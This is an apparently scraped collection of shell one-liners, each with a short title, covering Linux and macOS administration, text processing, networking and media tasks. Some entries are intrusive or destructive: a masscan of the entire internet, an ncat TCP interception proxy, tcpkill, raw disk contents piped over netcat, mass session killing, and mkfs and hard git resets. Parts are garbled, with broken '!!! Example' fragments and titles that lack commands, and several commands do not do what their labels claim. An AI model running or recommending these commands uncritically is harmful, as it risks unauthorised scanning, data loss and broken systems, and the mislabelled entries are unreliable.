seq 1 5 | xargs -I"#" date --date="today -!!! Example "days" +'%Y-%m-%d'
Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | sed -n "/URL:/s/.*\///p"
shuffle lines via bash
seq 1 9 | sort -R
Make all GUI stuff show up on the display connected to the computer (when you're logged in via SSH)
DISPLAY=:0.0; export DISPLAY
Watch postgresql calls from your application on localhost
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
Combines an arbitrary number of transparent png files into one file
echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo -n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh
delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' -i file
Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0+1366,0 -qscale 0 /tmp/out.mpg
Mount SMB share with password containing special characters
mount_smbfs '//user:p%40ss@server/share' /Volumes/share
generate iso
genisoimage -o bastion-602-jpa.iso -b boot/syslinux/isolinux.bin -c boot/syslinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -r -R .
AWS Route53 hosted zone export
echo -e "\$ORIGIN\tumccr.org.\n\$TTL\t1h\n" && aws route53 list-resource-record-sets --hosted-zone-id Z1EEXAMPLE9SF3 | jq -r '.ResourceRecordSets[] | [.Name, .Type, .ResourceRecords[0].Value] | join("\t")' - | grep -vE "NS|SOA"
Get your default route
ip route | grep default | awk '{print $3}'
Check wireless link quality with dialog box
while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done
Shows how many percents of all avaliable packages are installed in your gentoo system
echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
Debian Runlevel configuration tool
rcconf
Remove space and/or tab characters at the end of line
sed -i 's/[ \t]*$//' file
delete all trailing whitespace from each line in file
sed -i 's/^\s\+//' <file>
strip config files of comments
grep -vE '^$|^[\s]*[;#]'
docker kill all containers
docker kill $(docker ps -q)
Silently deletes lines containing a specific string in a bunch of files
for file in $(egrep 'abc|def' *.sql | cut -d":" -f1 | uniq); do sed -i '/abc/d' ./$file ; sed -i '/def/d' ./$file; done
Boooted as EFI/UEFI or BIOS
[[ -d "/sys/firmware/efi" ]] && echo "UEFI" || echo "BIOS"
Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'
Change attributes of files so you can edit them
sudo chattr -i <file that cannot be modified>
Creates PodFeeds.txt, a file that lists the URLs of rhythmbox podcasts from the rhythmdb.xml file.
grep -A 5 -e podcast-feed rhythmdb.xml | grep -e "<location>" | sed 's: *</*[a-t]*>::g' > PodFeeds.txt
Sort and count subjects of emails stuck in Exim queue
grep -R Subject /var/spool/exim/input/ | sed s/^.*Subject:\ // | sort | uniq -c | sort -n > ~/email_sort.$(date +%m.%d.%y).txt
Recursive Line Count
find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'
Awk one-liner that sorts a css file by selector
awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
Grep recursively for a pattern and open all files that match, in order, in Vim, landing on 1st match
X='pattern'; vim +/"$X" `egrep -lr "$X" *`
Nicely display mem usage with ps
ps -o comm,%mem,args -u www-data
Get curenttly playing track in Last.fm radio
curl -s http://ws.audioscrobbler.com/1.0/user/<user_id>/recenttracks.rss|grep '<title>'|sed -n '2s/ *<\/\?title>//gp'
capture selected window
scrot -s /tmp/file.png
Reduce PDF size
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
See OpenVZ Container id's of top 10 running processes by %cpu
ps -e h -o pid --sort -pcpu | head -10 | vzpid -
Copy modification timestamp from one file to another.
touch -r "source_file" "destination_file"
Display email addresses that have been sent to by a postfix server since the last mail log rollover
sed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u
resolving basic authentication problem(401) with wget
wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "s/^ Set-//g" > cookie.txt; wget --auth-no-challenge --server-response --http-user="user" --http-password="pw" --header="$(cat cookie.txt)" -O- $url
live netcat network throughput test
nc -l -p 7777 > /dev/null
diff process output
diffprocess () { diff <($*) <(sleep 3; $*); }
Get the gravatar UTL for a given email address
echo -n test@example.com | md5sum | (read hash dash ; echo "https://secure.gravatar.com/avatar/${hash}")
Let keyboard LED blink
for a in $(seq 15); do (xset led 3);(xset -led 3);sleep .9;done
E-mail a traditional Berkeley mbox to another recipient as individual e-mails.
formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo
Dump mySQL db from Remote Database to Local Database
mysqldump --host=[remote host] --user=[remote user] --password=[remote password] -C db_name | mysql --host=localhost --user=[local user] --password=[local password] db_name
Get debian package names corresponding to latex packages used in a document
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq
continuously check size of files or directories
while true; do du -s <file_or_directory>; sleep <time_interval>; done
Get backup from remote host, then expand in current directory using tar
ssh -l username server.tdl "tar -czf - /home/username/public_html" | tar -xzf -
Add sudo with shortcut alt+e in bash
bind '"\ee": "\C-asudo \C-e"'
Find top 5 big files
ls -Sh **/*(.Lm+100) | tail -5
Find last reboot time
sysctl -a | grep boottime | head -n 1
list current processes writing to hard drive
lsof | grep -e "[[:digit:]]\+w"
A simple X11 tea timer
$(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &
resolve hostname to IP our vice versa with less output
resolveip -s www.freshmeat.net
List the biggest accessible files/dirs in current directory, sorted
du -ms * 2>/dev/null |sort -nr|head
calculate md5 sums for every file in a directory tree
find . -type f -print0 | xargs -0 md5sum
The program listening on port 8080 through IPv6
netstat -lnp6 | grep :8080 | sed 's#^[^\/]*/\([a-z0-9]*\)#\1#'
show hidden chars in vi
set list / set nolist
Top 15 processes with the largest number of open files
lsof +c 15 | awk '{print $1}' | sort | uniq -c | sort -rn | head
Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -a `qcheck -aCB`
Set a user password without passwd
chpasswd <<< "user:newpassword"
Uncompress a CSS file
cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css
Search commandlinefu from the command line
(curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'
Put the machine to sleep after the download(wget) is done
while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo mem >/sys/power/state
Print a row of 50 hyphens
for i in `seq 1 1 50`; do echo -n -; done
LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -l --time-style=+%Y-%m-%d | awk "/$(date +'%Y-%m-%d')/ {print \$7}"
Listing directory content of a directory with a lot of entries
perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR'
Alternative way to generate an XKCD #936 style 4 word password usig sed
shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/'\''//g;s/\b\(.\)/\u\1/g;s/ //g'
Generate random number with shuf
echo $((RANDOM % 10 + 1))
Calculate the mean or average of a single column of numbers in a text file
perl -lane '$total += $F[0]; END{print $total/$.}' single-column-numbers.txt
Help shell find freshly installed applications (re: PATH)
rehash
Cancel all aptitude scheduled actions
aptitude keep-all
Check tcp-wrapping support
supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }
'readlink' equivalent using shell commands, and following all links
myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; }
Suspend, background, and foreground a process
top; ctrl-z; bg; jobs; fg
Print lines in a text file with numbers in first column higher or equal than a value
awk '$NF >= 134000000 {print $0}' single-column-numbers.txt
Display duplicated lines in a file
cat file.txt | sort | uniq -dc
ShadyURL via CLI
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
quickly formats a fat partition. usefull for flash drives
mkfs.vfat /dev/sdc1
100% rollback files to a specific revision
git reset --hard <commidId> && git clean -f
Python extract json
echo "[{"Name": "bar"}]" | python -c 'import json,sys;obj=json.load(sys.stdin);print(obj[0]["Name"]);')
Generate Random Text based on Length
genRandomText() { local n=$1; while [ $((n--)) -gt 0 ]; do printf "\x$(printf %x $((RANDOM % 26 + 65)))" ; done ; echo ; }
Display the end of a logfile as new lines are added to the end
tail -f logfile
extract column from csv file
cut -d, -f5
List the popular module namespaces on CPAN
curl http://www.cpan.org/modules/01modules.index.html |awk '{print $1}'|grep -v "<"|sort|uniq -c|grep -v " +[0-9] "
Pimp your less
export LESS='-x4FRSXs'
Find usb device in realtime
watch -n 0,2 lsusb
history autocompletion with arrow keys
bind '"\e[A": history-search-backward' && bind '"\e[B": history-search-forward' && bind '"\eOA": history-search-backward' && bind '"\eOB": history-search-forward'
password generator
genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
Truncate 0.3 sec from an audio file using sox
sox input.wav output.wav reverse trim 00:00:00.3 reverse
check the status of 'dd' in progress (OS X)
while pgrep ^dd; do pkill -INFO dd; sleep 10; done
generate random mac-address using md5sum + sed
date | md5sum | sed -r 's/(..){3}/\1:/g;s/\s+-$//'
Compare a remote file with a local file
vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file>
Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' | sed '/^$/d' > file.html
Function to check whether a regular file ends with a newline
endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; }
Get your local IP regardless of your network interface
ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^.*:\(.*\)B.*$/\1/'
quickly formats a fat partition. usefull for flash drives
mkdosfs /dev/sdx1
Delete only binary files in a directory
perl -e 'unlink grep { -f -B } <*>'
Show what PID is listening on port 80 on Linux
lsof -nPi tcp:80
Find processes stuck in dreaded "D" state aka IO Wait
ps aux | awk '{if ($8 ~ "D") print $0}'
Show the total number of changes that every user committed to a Subversion repository
svn log -v --xml > log.xml; zorba -q 'let $log := doc("log.xml")/log/logentry return for $author in distinct-values($log/author) order by $author return concat($author, " ", sum(count($log[author=$author]/paths/path)), "
")' --serialize-text
Detect illegal access to kernel space, potentially useful for Meltdown detection
perf stat -e exceptions:page_fault_user --filter "address > 0xffff000000000000"
Debug pytest failures in the terminal
pytest --pdbcls pudb.debugger:Debugger --pdb --capture=no
Find non-standard files in mysql data directory
find . -type f -not -name "*.frm" -not -name "*.MYI" -not -name "*.MYD" -not -name "*.TRG" -not -name "*.TRN" -not -name "db.opt"
Speed up launch of liferea
sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;'
Show database sql schema from Remote or Local database
mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables
recursive search and replace old with new string, inside files
grep -rlZ oldstring . | xargs -0 sed -i -e 's/oldstring/newstring/'
Convert wma to mp3@128k
for f in *.wma; do ffmpeg -i "$f" -ab 128k "${f%.wma}.mp3" -ab 128K; done
Tracklist reaplace backspace to '-'
perl -e 'rename $_, s/ /-/gr for <*.mp3>'
multiline data block parse and CSV data extraction with perl
cat z.log | perl -ne 'BEGIN{ print "DATE;RATE\n"; } /\[(\d.*)\]/ && print $1; /CURRENT RATE: +(\S+) msg.*/ && print ";" .$1 . "\n"; '
archlinux:Delete packages from pacman cache that are older than 7 days
find /var/cache/pacman/pkg -not -mtime -7 | sudo xargs rm
Split video files using avconv along keyframes
avconv -i SOURCE.mp4 -f segment -c:v copy -bsf:v h264_mp4toannexb -an -reset_timestamps 1 OUTPUT_%05d.h264
Bash command to convert IP addresses into their "reverse" form
echo "32.6.6.102" | awk -F. '{print $4"."$3"." $2"."$1}'
Find files with at least one exec bit set
find . -type f -perm +0111 -print
NICs, IPs, and Mac
ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"
Extract title from HTML files
tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -d\<
Find only *.doc and *xls files on Windows partition
find /mountpoint -type f -iregex '.*\.\(doc\|xls\)'
Define shell variable HISTIGNORE so that comments (lines starting with #) appear in shell history
export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?'
Protect against buffer overflow
echo 16384 > /proc/sys/net/ipv4/neigh/default/gc_thresh1; echo 32768 > /proc/sys/net/ipv4/neigh/default/gc_thresh2; echo 65535 > /proc/sys/net/ipv4/neigh/default/gc_thresh3; echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
list ips with high number of connections
netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
Store dirs to later be changed to independant of the last directory you were in. Also with managment tools.
pushd /directory/to/remember
Print only the odd lines of a file (GNU sed)
sed 2~2d
trace http requests with tshark
tshark -i en1 -z proto,colinfo,http.request.uri,http.request.uri -R http.request.uri
mercurial close branch
hg commit --close-branch -m 'close badbranch, this approach never worked'
RTFM function
rtfm() { help $@ || man $@ || xdg-open "http://www.google.com/search?q=$@"; }
List all files modified by a command
touch .tardis; the command ; find . -newer .tardis; rm .tardis;
Get File Names from touch commands
touch files.txt; cat reorder_files.sh | while read line; do x=`echo $line | sed 's/touch \([a-z0-9\.]\+.*.pdf\);.*/\1/'`; echo $x >> files.txt ; done;
PulseAudio: set the volume via command line
pactl set-sink-volume @DEFAULT_SINK@ +5%
Check reverse DNS
dig -x {IP}
Tar files matching a certain wildcard
tar -czf ../header.tar.gz $(find . -name *.h)
ls not pattern
ls *[^.gz]
Determine status of a RAID write-intent bitmap
mdadm -X /tmp1/md2bitmap
LVM2 Reduce
umount /media/filesystem; e2fsck -f /dev/device ; resize2fs -p /dev/device 200G #actual newsize#;lvreduce –size 200G /dev/device; mount /media/filesystem; df -h /media/filesystem
Determine command type (alias, keyword, function, builtin, or file)
type -t $1
Print every Nth line
function every() { N=$1; S=1; [ "${N:0:1}" = '-' ] && N="${N:1}" || S=0; sed -n "$S~${N}p"; }
Find Duplicate Files (based on size first, then MD5 hash)
find . | xargs md5 2>/dev/null | awk '{printf("%s %s\n", $4, $2)}' | sort | awk 'BEGIN{md5="";file=""}{if(md5==$1){printf("%s %s\t%s\n", $1, $2, file)}md5=$1;file=$2}'
Adding Prefix to File name
ls *.pdf | while read file; do newfile="CS749__${file}"; mv "${file}" "${newfile}"; done;
Count lines in a file with grep
grep -c ".*" filename
Umount only the NFS related to 'string'
for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done
copy audio file from playlist to a floder
more xx.m3u |grep -v "^#" |xargs -i cp {} target
print only matched pattern
Display the size of all your home's directories
du -sh ~/*
get the oldest file in a directory
ls -1t --group-directories-first /path/to/dir/ | tail -n 1
Convert an existing Git repo to a bare repo
mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git config --bool core.bare true
Push a directory onto the stack
= () { pushd ${1:+"$1"}; }
Git Global search and replace
git grep -l foo | xargs sed -i 's/foo/bar/g'
Upgrading packages. Pacman can update all packages on the system with just one command. This could take quite a while depending on how up-to-date the system is. This command can synchronize the repository databases and update the system's packages.
sudo pacman -Syu
Extract tar.gz file with original permission
tar -xvpf file.tar.gz
Removing Prefix from File name
ls *.pdf | while read file; do newfile="${file##CS749__}"; mv "${file}" "${newfile}"; done;
Compute the average number of KB per file for each dir
parallel --tag echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: *
Create a single-use TCP proxy with copy to stdout
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
archlinux: find more commands provided by the package owning some command
pkgfile -lb `pkgfile <command>`
Command to logout all the users in one command
who -u|grep -v root|awk {'print $6'}|kill `awk {'print $0'}`
Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" > hello.mp3
recursively remove BOM
find . -type f -exec sed -i -e '1s/^\xEF\xBB\xBF//' {} \;
True Random Dice Roll
echo $(</dev/urandom tr -dc 1-6 | head -c1)
Find an installed app
wmic product | findstr /I "name_of_app"
Decrypt exported android wallet keys for import into desktop client (LTC,FTC,BTC)
openssl enc -d -aes-256-cbc -a -in bitcoin-wallet-backup -out bitcoin-wallet-backup-decrypted
Create Bash script to change modification time of files
scriptName="reorder_files.sh"; echo -e '#!/bin/sh\n' > "${scriptName}"; cat files.txt | while read file; do echo "touch ${file}; sleep 0.5;" >> "${scriptName}"; done; chmod +x "${scriptName}";
List process in unkillable state D (iowait)
ps aux | awk '{if ($8 ~ "D") print $0}'
Set KDE4's Power Devil daemon power policy profiles
qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename>
Print out your hard drive to a jet-direct compatible printer.
cat /dev/hda|netcat -q 0 192.168.1.2 9100
Intercept, monitor and manipulate a TCP connection.
ncat -l -p 1234 --sh-exec "tee -a to.log | nc machine port | tee -a from.log"
vi - Change only whole words exactly matching 'http' to 'git'; ask for confirmation.
:%s/\<http\>/git/gc
Shows all packages installed that are recommended by other packages
aptitude search '?and( ?automatic(?reverse-recommends(?installed)), ?not(?automatic(?reverse-depends(?installed))) )'
Install a new kernel in Manjaro linux
sudo mhwd-kernel linux00
Use socat to emulate an SMTP mail SERVER
socat TCP4-LISTEN:25,fork EXEC:'bash -c \"echo 220;sleep 1;echo 250;sleep 1;echo 250;sleep 1;echo 250;sleep 1;echo 354;sleep 1;echo 250; timeout 5 cat >> /tmp/socat.log\"'
Bash Dialog
dialog --textbox dock.sh 50 1000
read Windows ACLs from Linux
smbcacls //server/sharename file -U username
cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }'
Creat a tar file for backup info
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/
start a vnc server session to connect to a gdm login screen
set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do shift; done; sudo x11vnc -display :0 -auth "$2"
Trace and view network traffic
tcpdump -A -s 0 port 80
Know SELinux status
sestatus -v
Clean pacman cache in arch linux, manjaro linux
sudo pacman -Scc
Search replace with Ansible style timestamps
sed -i.$(date +%F@%T) 's/^LogLevel warn/LogLevel debug/g' httpd.conf
Get the beats per minute from an audio track
ffmpeg -loglevel quiet -i "$AUDIO_FILE" -f f32le -ac 1 -ar 44100 - | bpm
Run a command if today is the last day of the month
if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
Not a kismet replacement…
watch -n .5 "iwlist wlan0 scan"
create tar archive of files in a directory and its sub-directories
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
Convert all .wav to .mp3
audio-convert <dir>/*
See loaded modules in apache
httpd -M
mhwd ? Manjaro Hardware Detection
mhwd --help
creating you're logging function for your script
logger -t MyProgramName "Whatever you're logging"
Converts all windows .URL shortcuts in a directory to linux (gnome) .desktop shortcuts
find . -name "*.URL" | while read file ; do cat "$file" | sed 's/InternetShortcut/Desktop Entry/' | sed '/^\(URL\|\[\)/!d' > "$file".desktop && echo "Type=Link" >> "$file".desktop ; done
wget download with multiple simultaneous connections
cat url.list | parallel -j 8 wget -O {#}.html {}
watch the previous command
watch -n1 -d !!
Burn an ISO on commandline with wodim instead cdrecord
wodim -v speed=4 dev='/dev/scd0' foo.iso
sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing)
se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} !!! Example "usage: se pattern !!! Example "use in place of sed /pat/!d where RE are overkill
Check which modules your PHP is using
php -m
Continuously show wifi signal strength on a mac
while i=1; do /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | grep CtlRSSI; sleep 0.5; done
route output as next command's parameters
shows history of logins on the server
utmpdump /var/log/wtmp
count files by type
ls | tr [:upper:] [:lower:] | grep -oP '\.[^\.]+$' | sort | uniq -c | sort
revert a file with svn
svn merge -r 854:853 l3toks.dtx
kill ip connection
tcpkill host <ip>
Line Separator That is Width of Terminal
CL () { WORDS=$@; termwidth="$(tput cols)"; padding="$(printf '%0.1s' ={1..500})"; printf '%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#WORDS})/2))" "$padding" "$WORDS" 0 "$(((termwidth-1-${#WORDS})/2))" "$padding"; }
Print summary of referers with X amount of occurances
awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n
echo something backwards
echo linux|rev
Find all dotfiles and dirs
find -mindepth 1 -maxdepth 1 -name .\*
How To Get the Apache Document Root
httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut -f2 -d'"'
Substitute an already running command
c=$(pgrep <cmd>) && <new_cmd> && kill $c
prettier
cal | grep -C7 --color=auto $(date +%d)
Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& sleep 1 && pid=`pidof dd`; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 10 && clear; done
count total number of lines of ruby code
( find ./ -name '*.rb' -print0 | xargs -0 cat ) | wc -l
Printout a list of field numbers (awk index) from a CSV file with headers as first line.
head -1 file.csv | tr ',' '\n' | tr -d " " | awk '{print NR,$0}'
scan whole internet and specific port in humanistic time
masscan 0.0.0.0/0 -p8080,8081,8082 --max-rate 100000 --banners --output-format grepable --output-filename /tmp/scan.xt --exclude 255.255.255.255
Search for files in rpm repositorys. (Mandriva linux)
urpmf lib/blah
tar copy
tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)
View Processeses like a fu, fu
pstree -p
Test file system type before further commands execution
DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
List 10 largest directories in current directory
du . -mak|sort -n|tail -10
kill all running instances of wine and programs runned by it (exe)
ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill
Redirecting bash output into any X Window
alias 2edit='xsel -b;n=pipe$RANDOM;xdotool exec --terminator -- mousepad $n -- search --sync --onlyvisible --name $n key --window %1 ctrl+v'
Display the tree of all instance of a particular process
pgrep 'sleep' | while read pid; do pstree -sa -H$pid $pid ; done
Continuously listen on a port and respond with a fixed message with netcat (and respond to kill signals)
while true ; do nc -l -p 4300 -c 'echo hello'; test $? -gt 0 && break; done
Polkit: Force KDE apps to always recognize your display
alias pkexec=“pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY KDE_SESSION_VERSION=5 KDE_FULL_SESSION=true”
Configuring proxy client on terminal
export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>
Recursively remove .svn directories
find . -name .svn -exec rm -r {} +;
Automagically update grub.conf labels after installing a new kernel
LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/grub/grub.conf | sed -i -e 's/\(Latest \[[^-]*\).*\]/\1-'"${LATEST#*-}"]'/1' -e 's/\(Old \[[^-]*\).*\]/\1-'"${OLD#*-}"]'/1' /boot/grub/grub.conf
RTFM function
rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; }
Create a directory and cd into it
take() { mkdir -p $1 && cd $1; }
Use Perl like grep
ack; pcregrep
Disable sending of start/stop characters
stty -ixon
Show git branches by date - useful for showing active branches
git for-each-ref --sort='-authordate' --format='%(refname)%09%(authordate)' refs/heads | sed -e 's-refs/heads/--'
Update a namecheap @ A record to point to your current internet-facing IP address
logger -tdnsupdate $(curl -s 'https://dynamicdns.park-your-domain.com/update?host=@&domain=xxx&password=xxx'|tee -a /root/dnsupdate|perl -pe'/Count>(\d+)<\/Err/;$_=$1eq"0"?"Update Sucessful":"Update failed"'&&date>>/root/dnsupdate)
Remove specific versions of old kernels (Ubuntu/Debian)
apt purge linux*{14..18}*
To get how many users logged in and logged out and how many times ?
last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp
Matrix Style
while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
Display the definition of a shell function
typeset -f <function-name>
In (any) vi, add a keystroke to format the current paragraph.
map ^A !}fmt
Convert all old SVN repositories in one directory to new format
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
Translates a phrase from English to Portuguese
curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?client=t&text=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tsel=0&sc=1" | awk -F'"' '{print $2}'
Generate a shortened URL with is.gd
isgd () { curl 'http://is.gd/create.php?format=simple&url='"$1" ; printf "\n" }
Keep track of diff progress
watch -d "ls -l /proc/$!/fd"
Colorize grep output
grep --color -E 'pattern|$' file
Get your external IP address
curl ifconfig.me/all/json
Outputs each arg on its own line
each() { (IFS=$'\n'; echo "$*") }
Database size
SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 / 1024 "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ;
Mnemonic for nice and renice command
Negative is Not Nice
List available upgrades from apt (package names only)
apt-get -s upgrade | awk '/Inst.+/ {print $2}'
port forwarding
ssh -L8888:localhost:80 -i nov15a.pem ubuntu@123.21.167.60
SVN Command line branch merge
/usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .
Printing multiple years with Unix cal command
for y in 2009 2010 2011; do cal $y; done
follow the content of all files in a directory
find dir/ -type f | xargs tail -fqn0
Display summary of git commit ids and messages for a given branch
git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'
Get your bash scripts to handle options (-h, –help etc) and spit out auto-formatted help or man page when asked!!
process-getopt
Download 10 random wallpapers from images.google.com
for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?imgsz=xxlarge&hl=es&q=wallpaper&sa=N&start=$(($RANDOM%700+100))&ndsp=10" --quiet|grep -oe 'http://[^"]*\.jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error $[$i+1]";done
Delete empty directories
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
Restart Xen XAPI
xe-toolstack-restart
Find inside files two different patterns in the same line and for matched files show number of matched lines
find . -name '*' -type f -print0 | xargs -0 grep -n pattern1 | grep pattern2
Get gzip compressed web page using wget.
wget -q -O- --header="Accept-Encoding: gzip" <url> | gzip -cdf > out.html
Pull up remote desktop for other than gnome/kde eg fluxbox
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
A video capture command which can be assigned to a keyboard shortcut.
gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n 's/ -geometry \([0-9x]*\).*/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/screencast.avi; exec bash\""
Capitalize first letter of each word in a string - A ruby alternative
ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu capiTalizE Me"
generate random ascii shape(no x11 needed!)
echo 'set term dumb; unset border; unset xtics; unset ytics; p "< seq 10 | shuf" u 1:(rand(0)) w l notitle' | gnuplot
Search and replace in multiple files recursively
grep -lr "foo" . | xargs sed -i "s/foo/bar/g"
Unpack .tgz File On Linux
tar -axf fileNameHere.tgz
Connect to remote machine with other enconding charset
LC_ALL=fr_FR luit ssh root@remote_machine_ip
Create md5sum of a directory
find -type f | grep -v "^./.git" | xargs md5sum | md5sum
Copy uncommitted changes from remote git repository
ssh HOST '(cd REPO_DIR && git diff --name-only HEAD | cpio -o -Hnewc --quiet)' | cpio -iduv --quiet -Hnewc
Recursively find disk usage, sort, and make human readable (for systems without human-readable sort command)
du -x ${SYMLINKS} -k "$@" | sort -n | tail -100 | awk 'BEGIN { logx = log(1024); size[0]= "KB"; size[1]= "MB"; size[2]= "GB"; size[3]= "TB" } { x = $1; $1 = ""; v = int(log(x)/logx); printf ("%8.3f %s\t%s\n",x/(1024^v), size[v], $0) }'
Exclude inserting a table from a sql import
